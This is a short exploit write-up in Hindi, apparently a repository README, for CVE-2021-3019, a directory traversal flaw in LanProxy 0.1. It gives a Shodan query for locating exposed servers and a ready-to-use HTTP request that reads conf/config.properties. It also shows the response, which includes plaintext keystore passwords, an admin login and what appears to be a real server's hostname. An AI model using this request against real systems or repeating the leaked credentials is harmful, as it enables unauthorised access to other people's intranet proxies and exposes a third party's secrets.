murataydemir/cve-2021-3019[CVE-2021-3019] LanProxy डायरेक्टरी ट्रैवर्सल
[CVE-2021-3019] LanProxy डायरेक्टरी ट्रैवर्सल
Lanproxy एक इंट्रानेट पेनेट्रेशन टूल है जो LAN पर्सनल कंप्यूटरों और सर्वरों को पब्लिक नेटवर्क से प्रॉक्सी करता है।
यह TCP ट्रैफ़िक फ़ॉरवर्डिंग का समर्थन करता है और किसी भी TCP अपर-लेयर प्रोटोकॉल का समर्थन करता है (इंट्रानेट वेबसाइटों तक पहुंच, लोकल पेमेंट इंटरफ़ेस डिबगिंग, ssh एक्सेस,
रिमोट डेस्कटॉप, आदि)। LanProxy संस्करण 0.1 पाथ ट्रैवर्सल भेद्यता के प्रति संवेदनशील है, जो इंट्रानेट कनेक्शन के लिए क्रेडेंशियल प्राप्त करने हेतु conf/config.properties पढ़ने की अनुमति दे सकती है।
Shodan खोज: "Server: LPS-0.1"
कॉन्फ़िगरेशन फ़ाइल पढ़ना
GET /../conf/config.properties HTTP/1.1
Host: vulnerablehost:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Server: LPS-0.1
server.bind=0.0.0.0
#与代理客户端通信端口
#这个端口是指客户端连接时对应的端口
server.port=4900
#ssl相关配置
server.ssl.enable=true
server.ssl.bind=0.0.0.0
server.ssl.port=4993
server.ssl.jksPath=usa.nat.candycloud.xyz
server.ssl.keyStorePassword=j5740NtBDCdH1ay
server.ssl.keyManagerPassword=j5740NtBDCdH1ay
#这个配置可以忽略
server.ssl.needsClientAuth=false
#WEB在线配置管理相关信息
#服务端ip地址一般不用修改默认就好
config.server.bind=0.0.0.0
#后台控制面板端口（安全组放行端口）
config.server.port=8090
#后台控制面板账号密码
config.admin.username=admin
config.admin.password=Twx7x03hCBbmwtr
